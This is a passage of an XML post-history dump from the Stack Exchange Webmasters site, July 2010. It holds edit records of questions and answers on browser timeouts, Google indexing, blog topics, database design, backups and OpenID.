(which would mostly rule out any benefits of S3) and there's less difference between DB and file system.&#xD;&#xA;" />
  <row Id="2870" PostHistoryTypeId="2" PostId="1578" RevisionGUID="c1103872-ee24-481e-b051-479379d30f7a" CreationDate="2010-07-26T01:24:37.853" UserId="949" Text="Within my website I have a single page that dynamically updates via AJAX / JSON in a plain HTML page.&#xD;&#xA;&#xD;&#xA;Now this page may be left open for up to three or four days. When I left it running over the weekend the data had frozen, the server was still running perfectly and upon a refresh everything started going again. So my question is **Does Internet Explorer(or even other browsers) 'timeout'?** " />
  <row Id="2871" PostHistoryTypeId="1" PostId="1578" RevisionGUID="c1103872-ee24-481e-b051-479379d30f7a" CreationDate="2010-07-26T01:24:37.853" UserId="949" Text="Does Internet Explorer 'timeout'?" />
  <row Id="2872" PostHistoryTypeId="3" PostId="1578" RevisionGUID="c1103872-ee24-481e-b051-479379d30f7a" CreationDate="2010-07-26T01:24:37.853" UserId="949" Text="&lt;javascript&gt;&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="2873" PostHistoryTypeId="5" PostId="380" RevisionGUID="77c23a41-d195-4293-a890-65025c5811df" CreationDate="2010-07-26T02:54:25.657" UserId="132" Comment="added 166 characters in body" Text="There's a new HTML5 book from &lt;a href=&quot;http://books.alistapart.com/&quot;&gt;A Book Apart&lt;/a&gt;, written by Jeremy Keith. I have it on order, haven't read it yet, but it has been receiving praise online.&#xD;&#xA;&#xD;&#xA;Update: I've since read the book, and it is quite good. It's relatively short, but very focused on giving the essential details, enough for you to get started on." />
  <row Id="2874" PostHistoryTypeId="2" PostId="1579" RevisionGUID="d5a6267d-14f0-49c7-b820-f5a618e82a07" CreationDate="2010-07-26T03:11:08.987" UserId="353" Text="I'm going to be honest - when it comes to specific languages and technologies, I've pretty much given up on books. The landscape changes way too fast - by the time you have the book, the next release with changes is already on the way. Now, my only books are on things that might change, but if I were to read the book again in 5, 10, or even 15 years, the material is still relevant.&#xD;&#xA;&#xD;&#xA;I would instead recommend the [HTML5 Doctor blog][1] and [Dive into HTML5][2]. There are also a number of other good sites and blogs if you go searching around, and I would stick with them - web resources will be more up-to-date and will cost you less.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://html5doctor.com/&#xD;&#xA;  [2]: http://diveintohtml5.org/" />
  <row Id="2876" PostHistoryTypeId="2" PostId="1581" RevisionGUID="ac4e4e05-782b-45a9-b6ad-e2863696611f" CreationDate="2010-07-26T05:01:08.550" UserId="1034" Text="This is unusually long. &#xD;&#xA;&#xD;&#xA;For webmastertools, don't forget that you can just create a sitemap and upload it. Once you verify your ownership of the site, it will kind of force Google to check out your pages.&#xD;&#xA;" />
  <row Id="2877" PostHistoryTypeId="16" PostId="1581" RevisionGUID="ac4e4e05-782b-45a9-b6ad-e2863696611f" CreationDate="2010-07-26T05:01:08.550" UserId="-1" />
  <row Id="2878" PostHistoryTypeId="2" PostId="1582" RevisionGUID="9920c339-06e1-41bc-a52e-f939477b7c1f" CreationDate="2010-07-26T05:28:35.683" UserId="1034" Text="If this is an issue, what you can do is load the page without those scripts, and then import the scripts into the page using ajax, after the page is fully loaded&#xD;&#xA;&#xD;&#xA;For instance, let's say you have an empty div on your page, like this:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;adsenseBanner&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;And you then append the javascript like this:&#xD;&#xA;&#xD;&#xA;    $(document).ready(function(){&#xD;&#xA;        $('#adsenseBanner').append('&lt;script&gt;alert(&quot;this&quot;);&lt;/script&gt;')&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I added a JavaScript alert so you can see that it is being executed, but of course, you would replace it with the scripts you need to load.&#xD;&#xA;&#xD;&#xA;This way, you can be sure that these external resources don't slow down your page load... at the cost of loading one extra script.&#xD;&#xA;" />
  <row Id="2879" PostHistoryTypeId="2" PostId="1583" RevisionGUID="301cf6af-1986-4054-ad46-8cfef30cdadf" CreationDate="2010-07-26T05:38:22.563" UserDisplayName="noob" Text="I recently uploaded a video on my college website, and it appears in Google's search engine on the second day of my post. It even appears in the first page of the search and the keyword used for searching is only 2 words long (I swear I am not lying here). I myself thought it was unbelievable and wondered how Google manage to crawl the web so fast." />
  <row Id="2880" PostHistoryTypeId="16" PostId="1583" RevisionGUID="301cf6af-1986-4054-ad46-8cfef30cdadf" CreationDate="2010-07-26T05:38:22.563" UserId="-1" />
  <row Id="2881" PostHistoryTypeId="2" PostId="1584" RevisionGUID="754631c4-f5d8-4b95-9ca7-bed1b555aa09" CreationDate="2010-07-26T05:47:10.143" UserId="1034" Text="I know you have already chosen an answer, but it looks like there is another solution that wasn't suggested:&#xD;&#xA;&#xD;&#xA;Move everything to one database, but create tables for each customer, using a prefix, like this:&#xD;&#xA;&#xD;&#xA;    initec_contacts_tbl&#xD;&#xA;    initec_accounts_tbl&#xD;&#xA;    initec_personel_tbl&#xD;&#xA;    ...&#xD;&#xA;    masterco_contacts_tbl&#xD;&#xA;    masterco_accounts_tbl&#xD;&#xA;    masterco_personel_tbl&#xD;&#xA;&#xD;&#xA;It's kind of the best of both worlds. &#xD;&#xA;&#xD;&#xA; - It is very easy to migrate from your&#xD;&#xA;   current setup to the new set up. &#xD;&#xA; - You can create 1 user per client and&#xD;&#xA;   restrict its privileges to the tables&#xD;&#xA;   of his company and nothing else&#xD;&#xA; - You can create a superuser and easily aggregate data if you need to do so.&#xD;&#xA; - Use only one database&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2882" PostHistoryTypeId="10" PostId="1550" RevisionGUID="4708d45c-b893-4b7f-95cb-e273b2014768" CreationDate="2010-07-26T05:50:33.740" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;},{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="2883" PostHistoryTypeId="2" PostId="1585" RevisionGUID="4e11082a-50bb-4d23-8654-a61e17cdb7c7" CreationDate="2010-07-26T06:07:07.453" UserId="180" Text="I don't have any data for this, but I personally wouldn't do it.  Search engines are spending a lot of effort trying to understand what your site is &quot;about&quot; in order to determine whether to return it for various queries.  &#xD;&#xA;&#xD;&#xA;Diluting the focus of your site could be risky.  In my opinion, the &lt; $20/year is well worth avoiding wasting all of your hard work." />
  <row Id="2885" PostHistoryTypeId="2" PostId="1586" RevisionGUID="8d49e6de-d8e1-43f3-b153-361f50918bbf" CreationDate="2010-07-26T08:47:29.560" UserId="914" Text="The data in the webmaster tools can lag quite a way behind the actual indexing. Have you actually tried searching Google to see if pages from your domain appear in it? If you prefix you type `site:http://www.yourdomain.com` (obviously replacing this with your real domain) into Google you should see all the pages Google has in its index for your domain. For example, to see all the pages from this site you would type [site:http://webmasters.stackexchange.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.co.uk/search?q=site%3Ahttp%3A%2F%2Fwebmasters.stackexchange.com" />
  <row Id="2886" PostHistoryTypeId="16" PostId="1586" RevisionGUID="8d49e6de-d8e1-43f3-b153-361f50918bbf" CreationDate="2010-07-26T08:47:29.560" UserId="-1" />
  <row Id="2887" PostHistoryTypeId="2" PostId="1587" RevisionGUID="b7aa1db2-9b55-4a92-9ca2-9a884aa3a649" CreationDate="2010-07-26T09:08:50.177" UserId="590" Text="Having multiple domains and completely seperate sites in diffent forders is perfectly fine.  Search engines have no way to know those extra folders are there unless you link to them.    Google should will see those 2 url's as completly seperate sites.  &#xD;&#xA;&#xD;&#xA;The bad side is if you have a link to programming.com/cooking this will show up on the search engine for programming.com and may show up instead of cooking.com.  &#xD;&#xA;&#xD;&#xA;So the solution is:  only link to cooking.com. (opposed to programming.com/cooking) Stick to that and you won't have any problems." />
  <row Id="2888" PostHistoryTypeId="2" PostId="1588" RevisionGUID="dff712e3-a348-4656-b965-9698c4e8b338" CreationDate="2010-07-26T09:30:36.907" UserId="1036" Text="I have a blog. (just started) I am having a confusion whether I should keep the blog focused on only one subject (for instance, technology) or not?&#xD;&#xA;&#xD;&#xA;If I post different posts on various topics (with proper categorization), will it affect my traffic? i.e. If I write about technology, photography, personal experiences and some more, will it affect my readers' mindset? &#xD;&#xA;&#xD;&#xA;Also, can I use a regional language for some posts?" />
  <row Id="2889" PostHistoryTypeId="1" PostId="1588" RevisionGUID="dff712e3-a348-4656-b965-9698c4e8b338" CreationDate="2010-07-26T09:30:36.907" UserId="1036" Text="Shall I use mixed content on my blog?" />
  <row Id="2890" PostHistoryTypeId="3" PostId="1588" RevisionGUID="dff712e3-a348-4656-b965-9698c4e8b338" CreationDate="2010-07-26T09:30:36.907" UserId="1036" Text="&lt;traffic&gt;&lt;blog&gt;&lt;personal-website&gt;" />
  <row Id="2891" PostHistoryTypeId="2" PostId="1589" RevisionGUID="d28d23d8-e4d2-44b9-9359-eb49fc073f18" CreationDate="2010-07-26T09:30:51.853" UserId="914" Text="Ignore people who say, &quot;*Don't store images/binary data in the database*&quot; as they are basing their answers on old information (assuming you will be storing the data in a VarBinary type column). The performance concerns using SQL Server to store images can now be mitigated by using the [FILESTREAM][1] data type in SQL Server 2008. In essence, the FILESTREAM data type allows you to combine the ease of storing data in the database with the performance you get from serving files from a NTFS file store. &#xD;&#xA;&#xD;&#xA;To quote [SQL Mag][2]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;SQL Server 2008’s new FILESTREAM&#xD;&#xA;&gt; support combines the benefit of&#xD;&#xA;&gt; accessing LOBs directly from the NTFS&#xD;&#xA;&gt; file system with the referential&#xD;&#xA;&gt; integrity and ease of access offered&#xD;&#xA;&gt; by the SQL Server relational database&#xD;&#xA;&gt; engine.&quot;&#xD;&#xA;&#xD;&#xA;For more info read [this blog by Ravi S.Maniam on MSDN][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/cc949109(SQL.100).aspx&#xD;&#xA;  [2]: http://www.sqlmag.com/article/tsql3/using-sql-server-2008-s-filestream-data-type.aspx&#xD;&#xA;  [3]: http://blogs.msdn.com/b/manisblog/archive/2007/10/21/filestream-data-type-sql-server-2008.aspx" />
  <row Id="2892" PostHistoryTypeId="2" PostId="1590" RevisionGUID="88768b6d-d0f5-4a80-9177-0da544c50980" CreationDate="2010-07-26T09:39:44.990" UserId="197" Text="You could use a subdomain to link visitors directly to the category of posts you refer to... This enables you to link to  your techblog and even use different styling options to make it a subpart of your blog which also contains your personal blog items.&#xD;&#xA;&#xD;&#xA;If you want to have your blog accessible to as much users  as possible... Use english... A lot of visitors stop visiting if they don't understand the language... A solution for this could be to only show the regional posts if a user looks at the site in a browser or location matching your regional language." />
  <row Id="2893" PostHistoryTypeId="2" PostId="1591" RevisionGUID="26d180fa-e314-49b2-a825-b5ef3021e67f" CreationDate="2010-07-26T10:22:29.540" UserId="1030" Text="The base installation of WordPress IS dead simple to use. &#xD;&#xA;&#xD;&#xA;* You only add plugins as you need them.&#xD;&#xA;* **You can use a plugin to cache all the pages** (I can't remember it's possible this is even a standard feature).&#xD;&#xA;* Besides caching the pages you'll have &quot;pretty urls&quot; which are important for SEO&#xD;&#xA;* You can install a Markdown plugin if you want to edit posts in text mode and disable all the &quot;RichText&quot; UI.&#xD;&#xA;&#xD;&#xA;I've setup a WordPress site as a volunteer job for an organization in India whose &quot;non profit only&quot; web hosting was shared and had a 100MB limit. WordPress only used 10% of that space. Besides, with WordPress plugins it was easy to include images from Picasa or Flickr, so that you can save up a lot of space on your own server.&#xD;&#xA;&#xD;&#xA;I may have thought along the same lines before I did this job, but then I learned about WordPress and realized how gorgeous the admin was and just how easy it is to &quot;hack&quot; in your layout/css/html. I think you'll save yourself significant time on the long term to go directly with something like WordPress.&#xD;&#xA;&#xD;&#xA;As for **Posterous** I used it during my trip abroad and  am now throughly unconvinced. You will often want to make a correction after sending your &quot;post&quot; by email, even if onyl to fix a small typo. Now you're out of luck, you have to use the posterous rich text editor, so that beast the purpose of sending your post by email. Their website is extremely slow for me. If you're abroad you'll find loading the gazillions of javascript make editing the posts a real pain. Yes, Posterous makes a nice photo gallery for you but then you can do the same very easily with a plugin in WordPress. Also the default theme on Posterous doesn't even show the archives? On the main page it will load all your recent posts in full, including the photo galleries. Posterous is slow as hell!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2894" PostHistoryTypeId="5" PostId="1591" RevisionGUID="e29c2b92-9fd8-4e8a-a889-9c26afba2697" CreationDate="2010-07-26T10:27:46.460" UserId="1030" Comment="added 4 characters in body" Text="The base installation of WordPress IS dead simple to use. &#xD;&#xA;&#xD;&#xA;* You only add plugins as you need them.&#xD;&#xA;* **You can use a plugin to cache all the pages** (I can't remember it's possible this is even a standard feature).&#xD;&#xA;* Besides caching the pages you'll have &quot;pretty urls&quot; which are important for SEO&#xD;&#xA;* You can install a Markdown plugin if you want to edit posts in text mode and disable all the &quot;RichText&quot; UI.&#xD;&#xA;&#xD;&#xA;I've setup a WordPress site as a volunteer job for an organization in India whose &quot;non profit only&quot; web hosting was shared and had a 100MB limit. WordPress only used 10% of that space. Besides, with WordPress plugins it was easy to include images from Picasa or Flickr, so that you can save up a lot of space on your own server.&#xD;&#xA;&#xD;&#xA;I may have thought along the same lines before I did this job, but then I learned about WordPress and realized how gorgeous the admin was and just how easy it is to &quot;hack&quot; in your layout/css/html. I think you'll save yourself significant time on the long term to go directly with something like WordPress.&#xD;&#xA;&#xD;&#xA;As for **Posterous** I used it during my trip abroad and  am now throughly unconvinced. You will often want to make a correction after sending your &quot;post&quot; by email, even if only to fix a small typo. Now you have to use the Posterous rich text editor, so that beats the purpose of sending your post by email. Their website is extremely slow for me. If you're abroad you'll find loading the gazillions of javascript make editing the posts a real pain. Yes, Posterous makes a nice photo gallery for you but then you can do the same very easily with a plugin in WordPress. The default theme on Posterous doesn't even appear to show the archives. On the main page it will load all your recent posts in full, including the photo galleries. Accessing my blog on Posterous was always slow.&#xD;&#xA;" />
  <row Id="2895" PostHistoryTypeId="2" PostId="1592" RevisionGUID="2d174219-deff-4361-97e0-8df05fd7418b" CreationDate="2010-07-26T10:28:42.623" UserId="1039" Text="Just wondering if anyone had any suggestions for software that I could use to provide meta discussion of a website that I am working on? &#xD;&#xA;&#xD;&#xA;My initial thought would be to use one of the many discussion boards available, but I hate them!, and would rather not go down the route of subjecting my users to using another forum! :)&#xD;&#xA;&#xD;&#xA;I don't need anything too complex, just a place where users can raise feature/bug requests or ask for general help from other users.&#xD;&#xA;" />
  <row Id="2896" PostHistoryTypeId="1" PostId="1592" RevisionGUID="2d174219-deff-4361-97e0-8df05fd7418b" CreationDate="2010-07-26T10:28:42.623" UserId="1039" Text="Possible options for site meta discussion" />
  <row Id="2897" PostHistoryTypeId="3" PostId="1592" RevisionGUID="2d174219-deff-4361-97e0-8df05fd7418b" CreationDate="2010-07-26T10:28:42.623" UserId="1039" Text="&lt;tools&gt;" />
  <row Id="2898" PostHistoryTypeId="12" PostId="1591" RevisionGUID="560770d5-1ab4-4b16-856a-140a11b47f97" CreationDate="2010-07-26T10:31:00.453" UserId="1030" Text="[{&quot;Id&quot;:1030,&quot;DisplayName&quot;:&quot;faB&quot;}]" />
  <row Id="2899" PostHistoryTypeId="13" PostId="1591" RevisionGUID="03667054-4421-4b8a-a95a-25d5b98e64a6" CreationDate="2010-07-26T10:31:05.677" UserId="1030" Text="[{&quot;Id&quot;:1030,&quot;DisplayName&quot;:&quot;faB&quot;}]" />
  <row Id="2900" PostHistoryTypeId="2" PostId="1593" RevisionGUID="278c4b34-a7b1-4666-aacd-3855d9f2bb6b" CreationDate="2010-07-26T11:00:03.223" UserDisplayName="delete" Text="My suggestion is to use Google Groups. First of all it is off site so you don't have to worry about serving pages in the case that your server / host / whatever stops working. Second of all you don't have to do any more work, it is really easy to set up a Google group with just an email address. Third of all it works really well and you can also keep a copy of discussions in your email folder. Unless you have more than twenty messages a day discussing your site this is probably the most manageable option.&#xD;&#xA;&#xD;&#xA;Another way is to use a free wordpress blog or something, but then it is not so easy for users to initiate discussions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2901" PostHistoryTypeId="2" PostId="1594" RevisionGUID="a313ba00-a0f8-4ad4-a0df-8a5a1d545082" CreationDate="2010-07-26T11:05:02.013" UserDisplayName="delete" Text="Put a googlewhack (statistically unlikely phrase like &quot;jellified monkey shoes&quot; or &quot;insanitary curmudgeons&quot;) in your site somewhere and test if you have been indexed by searching for it.&#xD;&#xA;&#xD;&#xA;Remember that Google have highly opaque logic about what search results they return, so you are playing a guessing game in trying to get into their search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2902" PostHistoryTypeId="16" PostId="1594" RevisionGUID="a313ba00-a0f8-4ad4-a0df-8a5a1d545082" CreationDate="2010-07-26T11:05:02.013" UserId="-1" />
  <row Id="2903" PostHistoryTypeId="2" PostId="1595" RevisionGUID="4cb34055-4069-42e3-8e40-f57023c4a77b" CreationDate="2010-07-26T11:17:04.770" UserId="82" Text="I can now say that I have used the Economy Virtual Dedicated Hosting at GoDaddy (cranked one up this weekend when I needed full trust for a site) and found it pretty quick and nice.  They got the VM provisioned quickly and it has a pretty interesting balance of space and power.  I am running a .NET CMS system on top of SQL Express and WordPress on MySQL side by side without a problem.  A Virtual Dedicated is much cheaper than a full box that can handle the same traffic spikes." />
  <row Id="2904" PostHistoryTypeId="2" PostId="1596" RevisionGUID="9fa8efad-d191-4704-ad8c-c2ee37d0e815" CreationDate="2010-07-26T11:22:36.370" UserId="9301" Text="You should decide on a single language and stick with it. English only reader will unsubscribe when some posts are in a different language. Using another language than English reduces your competition but also reduces your audience.&#xD;&#xA;&#xD;&#xA;As the topic goes it depends on what value you want to provide to your reader.&#xD;&#xA;Why should someone read your blog instead of reading one of the thousands of other blogs?&#xD;&#xA;If it's because you have an unique perspective on technology than you probably should stay on the topic of technology.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2905" PostHistoryTypeId="2" PostId="1597" RevisionGUID="c722aaed-0fcc-4f62-bb50-5fe193f131f4" CreationDate="2010-07-26T11:29:56.077" UserId="82" Text="What about [DropBox][1] or something similar?  Set the home directory to be your deployed site and write a script to scrape the rest of your content into a web invisible sub directory periodically.  That should cover each point you listed, and also give you the option of using it for deployment since it is bidirectional.  The Basic account is free, 2GB, and can be expand as your site/storage needs do.  I haven't used it this directly, but I have been using it to transfer files around for some time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.dropbox.com/" />
  <row Id="2906" PostHistoryTypeId="2" PostId="1598" RevisionGUID="e2b1c330-9eb0-4ea0-84da-704a689c9d6d" CreationDate="2010-07-26T12:13:57.537" UserId="212" Text="I've used [Ericsson's IPX][1] as an SMS gateway before.  This has a SOAP interface and you can achieve two-way SMS communication with a user including delivery notifications back to you.  It's international and it also has several options for premium rates so you can use it for a money making service too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ericsson.com/ourportfolio/ipx" />
  <row Id="2907" PostHistoryTypeId="16" PostId="1598" RevisionGUID="e2b1c330-9eb0-4ea0-84da-704a689c9d6d" CreationDate="2010-07-26T12:13:57.537" UserId="-1" />
  <row Id="2908" PostHistoryTypeId="2" PostId="1599" RevisionGUID="ba3a8abe-1e0d-43c1-8c1e-528474bffd14" CreationDate="2010-07-26T12:50:37.947" UserId="922" Text="How can I get list of domains registered in a particular geographical region?&#xD;&#xA;For instance, I want list of .ke domains in Eastern Africa" />
  <row Id="2909" PostHistoryTypeId="1" PostId="1599" RevisionGUID="ba3a8abe-1e0d-43c1-8c1e-528474bffd14" CreationDate="2010-07-26T12:50:37.947" UserId="922" Text="Getting list of all registered domins in particular geographical region" />
  <row Id="2910" PostHistoryTypeId="3" PostId="1599" RevisionGUID="ba3a8abe-1e0d-43c1-8c1e-528474bffd14" CreationDate="2010-07-26T12:50:37.947" UserId="922" Text="&lt;domains&gt;" />
  <row Id="2911" PostHistoryTypeId="2" PostId="1600" RevisionGUID="b73b940c-acab-4327-b18a-d31d034a4e07" CreationDate="2010-07-26T12:51:50.457" UserId="204" Text="There is no official rule as to how long it takes. I've heard anywhere from &quot;instantly&quot; to &quot;a few months later&quot;. There are many variables such as how many others are linking to you (and how important they are), and how relevant is your content, and how often does your site get updated. Also, I tend to think some of the spiders kind of &quot;do the rounds&quot; and you may get lucky and be one of the early sites it indexes, or unlucky and not get indexed till the end. &#xD;&#xA;&#xD;&#xA;Don't forget, the internets is a big place...&#xD;&#xA;&#xD;&#xA;When I first launched my blog, the first post didn't get indexed for maybe a few weeks. Then once I started posting more often, my site got crawled more often. When I'm busy and don't post much, the crawling slows down as well." />
  <row Id="2912" PostHistoryTypeId="16" PostId="1600" RevisionGUID="b73b940c-acab-4327-b18a-d31d034a4e07" CreationDate="2010-07-26T12:51:50.457" UserId="-1" />
  <row Id="2913" PostHistoryTypeId="5" PostId="1597" RevisionGUID="5ee85b8a-84bf-4665-b67b-ad06d46f3a9f" CreationDate="2010-07-26T13:05:08.680" UserId="82" Comment="added 977 characters in body" Text="What about [DropBox][1] or something similar?  Set the home directory to be your deployed site and write a script to scrape the rest of your content into a web invisible sub directory periodically.  That should cover each point you listed, and also give you the option of using it for deployment since it is bidirectional.  The Basic account is free, 2GB, and can be expand as your site/storage needs do.  I haven't used it this directly, but I have been using it to transfer files around for some time.&#xD;&#xA;&#xD;&#xA; 1. Drop Box is File based and accessable via the web&#xD;&#xA; 2. Anything you can export to the filesystem as a file can be backed up.  It won't have a mechanism for atuomatically doing it, but a quick PowerShell script on a schedule should do the trick.&#xD;&#xA; 3. I believe (but don't know for sure) that DropBox will be pretty light on the system.  It does a check to see if new files have been put on the server and triggers its local activity by changes to local files.  No changes, no local activity.&#xD;&#xA; 4. Dropbox is external.&#xD;&#xA; 5. Dropbox does differential updates.&#xD;&#xA; 6. Emails are files.&#xD;&#xA; 7. Unsure about how Dropbox handles locked files.  I believe on Windows it does something with ShadowCopy, but that is pure conjecture on my part (that's how I would have done it).&#xD;&#xA;&#xD;&#xA;Also, take a look over at SO for [Good Secure Backups Developers at Home][2] for some other interesting solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.dropbox.com/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/113423/good-secure-backups-developers-at-home" />
  <row Id="2914" PostHistoryTypeId="5" PostId="1569" RevisionGUID="6cf0b934-7872-4588-b1ce-e48c65a84bfa" CreationDate="2010-07-26T13:09:30.087" UserId="108" Comment="added 117 characters in body" Text="If you look at it from the standpoint of Return on Investment (ROI) it makes little sense to become an OpenID provider unless you have a massive user base.  The value of companies like Google being an OpenID provider is that they get more people to visit their site and more people to tightly integrate and work with them.&#xD;&#xA;&#xD;&#xA;This offsets the technical, monetary, and legal expenses that are the cost of being an OpenID provider.  You have to remember that you have to build a technical team to develop and manage your OpenID servers, you have to pay a ton of money to buy or rent server that will always be up and can handle the load, and finally OpenID has to be on.  If Google's OpenID service goes down people have no access to ALL of the sites that use OpenID.  This can come with legal ramifications if it costs someone money and they are below their service agreement up-time levels.&#xD;&#xA;&#xD;&#xA;Also, there is the issue of adoption.  SO and Stack Exchange only promote certain sites and Companies for OpenID.  So unless your site is on that short list people won't realize you are an option and may have more issues using your system unless they are technically savvy. Having a quick link on the SO page to Google has made my life 100 times easier when trying to log in to SO, I know that.&#xD;&#xA;&#xD;&#xA;Finally, as others have said, most people are not going to trust any company that is going to close down.  Fortune 500 level companies are usually where people put there trust in these kinds of things because even if a company like Google goes bankrupt someone will buy them and continue the service.  When you get to small companies there are a ton of issues.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2915" PostHistoryTypeId="2" PostId="1601" RevisionGUID="2f66ad3d-b924-486d-87a7-5edf49ae8d99" CreationDate="2010-07-26T13:15:06.720" UserId="55" Text="On the Google Webmaster dashboard, under &quot;Sitemaps&quot;, you will see a list of submitted site maps and a count of how many pages are indexed from each.&#xD;&#xA;&#xD;&#xA;If you don't see your site map there with a green check box next to it, or the number of pages indexed for that site map is zero, you should check the diagnostic tools.&#xD;&#xA;&#xD;&#xA;I rarely see the process take longer than a week. Something is surely wrong and its very likely something that can be easily corrected.&#xD;&#xA;&#xD;&#xA;Google is a good place to start. Usually, but not always, other search engines will be having the same difficulties that Google is reporting. " />
  <row Id="2916" PostHistoryTypeId="16" PostId="1601" RevisionGUID="2f66ad3d-b924-486d-87a7-5edf49ae8d99" CreationDate="2010-07-26T13:15:06.720" UserId="-1" />
  <row Id="2917" PostHistoryTypeId="5" PostId="1597" RevisionGUID="f05de0a5-4be1-45d3-95b9-8726c77f8ee0" CreationDate="2010-07-26T13:33:30.640" UserId="82" Comment="Add details on scheduling tasks in Windows" Text="What about [DropBox][1] or something similar?  Set the home directory to be your deployed site and write a script (see this [KB article][2] for pointers on how to schedule the task) to scrape the rest of your content into a web invisible sub directory periodically.  That should cover each point you listed, and also give you the option of using it for deployment since it is bidirectional.  The Basic account is free, 2GB, and can be expand as your site/storage needs do.  I haven't used it this directly, but I have been using it to transfer files around for some time.&#xD;&#xA;&#xD;&#xA; 1. Drop Box is File based and accessable via the web&#xD;&#xA; 2. Anything you can export to the filesystem as a file can be backed up.  It won't have a mechanism for atuomatically doing it, but a quick PowerShell script on a schedule should do the trick.&#xD;&#xA; 3. I believe (but don't know for sure) that DropBox will be pretty light on the system.  It does a check to see if new files have been put on the server and triggers its local activity by changes to local files.  No changes, no local activity.&#xD;&#xA; 4. Dropbox is external.&#xD;&#xA; 5. Dropbox does differential updates.&#xD;&#xA; 6. Emails are files.&#xD;&#xA; 7. Unsure about how Dropbox handles locked files.  I believe on Windows it does something with ShadowCopy, but that is pure conjecture on my part (that's how I would have done it).&#xD;&#xA;&#xD;&#xA;Also, take a look over at SO for [Good Secure Backups Developers at Home][3] for some other interesting solutions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.dropbox.com/&#xD;&#xA;  [2]: http://support.microsoft.com/kb/308569&#xD;&#xA;  [3]: http://stackoverflow.com/questions/113423/good-secure-backups-developers-at-home" />
  <row Id="2918" PostHistoryTypeId="4" PostId="1588" RevisionGUID="41766a4d-d4a3-4b80-bca8-79bc1153240b" CreationDate="2010-07-26T13:47:16.517" UserId="55" Comment="Minor title edit" Text="Should I use mixed content on my blog?" />
  <row Id="2919" PostHistoryTypeId="2" PostId="1602" RevisionGUID="dc4d2423-f539-4dde-bbfb-7231621a2e3e" CreationDate="2010-07-26T14:23:41.127" UserId="516" Text="mozy.com is a good, inexpensive backup service but you would have to handle pulling down what you needed from the VPS yourself, I believe." />
  <row Id="2920" PostHistoryTypeId="2" PostId="1603" RevisionGUID="67eed020-bbe3-4231-9591-1571e73af55a" CreationDate="2010-07-26T15:08:06.107" UserId="55" Text="This is a good example of when to use tags vs categories. There's nothing wrong with having varied content on a blog, or any other kind of web site. You just want to:&#xD;&#xA;&#xD;&#xA; - Ensure people can get to the content that they want, and only what they want via various readers&#xD;&#xA; - Pay attention to the topics that interest people the most and make sure that those people get something new to read fairly frequently&#xD;&#xA;&#xD;&#xA;Try to resist the urge to create more than ten categories. Five would be better. Beyond categories, make good use of tags to organize your posts.&#xD;&#xA;&#xD;&#xA;Lets say that you have five main interests:&#xD;&#xA;&#xD;&#xA; 1. Technology&#xD;&#xA; 2. Gaming&#xD;&#xA; 3. Photography&#xD;&#xA; 4. Hiking&#xD;&#xA; 5. Unicorn breeding&#xD;&#xA;&#xD;&#xA;A list of categories on your blog will then direct people to the topic that might interest them. Lets pick unicorn breeding (a favorite of mine) and say that I read a really good 'rant' that you wrote regarding forged pedigrees. If you tagged that post as a rant, lets say with 'rants', I might also discover that I most enjoy your writing when you are adamant and annoyed.&#xD;&#xA;&#xD;&#xA;This lets me pull two feeds:&#xD;&#xA;&#xD;&#xA; - One from your 'Unicorn breeding' category&#xD;&#xA; - One from your 'rants' tag&#xD;&#xA;&#xD;&#xA;I **strongly** discourage posting in several languages, unless you are using some sort of plug-in or facility for translations which should allow people to subscribe only to posts available in a certain language. Google recently added new sources to their news mash up, lots of people are complaining that they are now getting French articles in their reader, even though their preferences are set for English.&#xD;&#xA;&#xD;&#xA;Mixed and varied content for a personal site is not a bad thing, its just going to increase ways for people to find you, which hopefully results in quality organic inbound links. Its also nice to know that people actually read and appreciate what you have to say.&#xD;&#xA;&#xD;&#xA;If you were running something like 'Pro Technology Blog', where the title and topic of the site suggested that the content within would be equally specific, it would be a bad idea.&#xD;&#xA;&#xD;&#xA;Just use tags strategically and make sure you pay attention to what gets the most attention. The point is to get long term readers who actively participate in discussions and help promote your blog.  " />
  <row Id="2921" PostHistoryTypeId="2" PostId="1604" RevisionGUID="0f0c3277-37b1-493a-9155-322896c8ff0f" CreationDate="2010-07-26T15:42:28.530" UserId="221" Text="This can not be accomplished without the aid/permission of the registrar that manages the ccTLD in question.&#xD;&#xA;&#xD;&#xA;It is possible that some registrars make this information public, but I'm not aware of any.&#xD;&#xA;&#xD;&#xA;I should note that I'm somewhat familiar with this topic as I run domain-wide web harvesting of the .is domain for the National Library of Iceland. Fortunately, in our case, the registrar has been most cooperative (as required by law). I know that some other countries (Australia and New Zealand amongst them IIRC) have been unable to procure such lists and have relied on information from the Internet Archive instead." />
